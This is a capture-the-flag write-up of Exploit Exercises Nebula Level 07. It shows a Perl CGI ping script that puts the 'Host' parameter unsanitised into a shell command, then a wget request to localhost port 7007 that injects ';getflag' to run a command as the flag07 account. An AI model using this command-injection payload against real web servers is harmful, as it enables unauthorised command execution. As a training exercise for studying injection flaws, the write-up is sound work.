Post

Exploit Exercises: Nebula Level 07

Image of Nebula Terminal

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server. To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

Source code

(index.cgi)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Solution

Well, you will be surprised that this challenge took me days to complete because my webserver on my machine is getting down at every 20 minutes after system boot. I have not researched more about why the challenge is crashing all the time, but here is the simple solution of this nice challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
level07@nebula:~$ ls
index.cgi
level07@nebula:~$ cat index.cgi
<html><head><title>Ping results</title></head><body><pre></pre></body></html>
level07@nebula:~$
Hmm, let’s go the flag account folder.
level07@nebula:/home/flag07$ ls -al
total 10
drwxr-x--- 2 flag07 level07  102 Nov 20  2011 .
drwxr-xr-x 1 root   root      80 Aug 27  2012 ..
-rw-r--r-- 1 flag07 flag07   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag07 flag07  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag07 flag07   675 May 18  2011 .profile
-rwxr-xr-x 1 root   root     368 Nov 20  2011 index.cgi
-rw-r--r-- 1 root   root    3719 Nov 20  2011 thttpd.conf
level07@nebula:/home/flag07$

Here we are able to see two files, index.cgi and thttpd.conf. Let’s read their content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
level07@nebula:/home/flag07$ cat index.cgi
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
	$host = $_[0];

	print("<html><head><title>Ping results</title></head><body><pre>");

	@output = `ping -c 3 $host 2>&1`;
	foreach $line (@output) { print "$line"; }

	print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));
And.
level07@nebula:/home/flag07$ cat thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=
level07@nebula:/home/flag07$

index.cgi informations:

  • ping(param(“Host”)); ⇒ We have to provide a GET parameter called “Host” to out request to index.cgi perl script.
  • @output = ping -c 3 $host 2>&1; ⇒ The GET parameter “Host” is used without any sanitisation checks directly at this line in $host.

⇒ Command Injection! But where?

thttpd.conf informations:

  • /etc/thttpd/thttpd.conf: thttpd configuration file ⇒ The config file of our web server (thttpd)!
  • port=7007 ⇒ The port where our web server is listening!
  • cgipat=**.cgi ⇒ Is interpreting perl scripts! This is getting so easy…​ I just need…​
  • user=flag07 ⇒ The web service is running with our target account!

⇒ We have to inject getflag for our webserver on port 7007 using index.cgi (the perl script).

Let’s do it!!!

1
2
3
4
5
6
7
8
9
level07@nebula:/home/flag07$ wget http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
--2017-10-06 04:25:18--  http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
Connecting to 127.0.0.1:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
index.cgi?Host=;getflag: Permission denied

Cannot write to `index.cgi?Host=;getflag' (Permission denied).
level07@nebula:/home/flag07$

Well in the above command I am using wget (Web Get) to retrieve the response in html from my web server on localhost port 7007. But, I am trying to write in the wrong folder. The grand final:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
level07@nebula:/home/flag07$ cd ~
level07@nebula:~$ wget http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
--2017-10-24 07:40:31--  http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
Connecting to 127.0.0.1:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.cgi?Host=;getflag'

    [ <=>                                                                                                                                                               ] 136         --.-K/s   in 0.006s

2017-10-24 07:40:31 (22.7 KB/s) - `index.cgi?Host=;getflag' saved [136]

level07@nebula:~$ ls -al
total 11
drwxr-x--- 1 level07 level07   80 Oct 24 07:40 .
drwxr-xr-x 1 root    root      80 Aug 27  2012 ..
-rw-r--r-- 1 level07 level07  220 May 18  2011 .bash_logout
-rw-r--r-- 1 level07 level07 3353 May 18  2011 .bashrc
drwx------ 2 level07 level07   60 Oct 24 07:38 .cache
-rw------- 1 level07 level07   41 Aug 18  2012 .lesshst
-rw-r--r-- 1 level07 level07  675 May 18  2011 .profile
-rw------- 1 level07 level07  711 Aug 18  2012 .viminfo
-rw-rw-r-- 1 level07 level07   77 Aug 18  2012 index.cgi
-rw-rw-r-- 1 level07 level07  136 Oct 24 07:40 index.cgi?Host=;getflag
level07@nebula:~$ cat index.cgi\?Host\=\;getflag
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account
</pre></body></html>
level07@nebula:~$
This post is licensed under CC BY 4.0 by the author.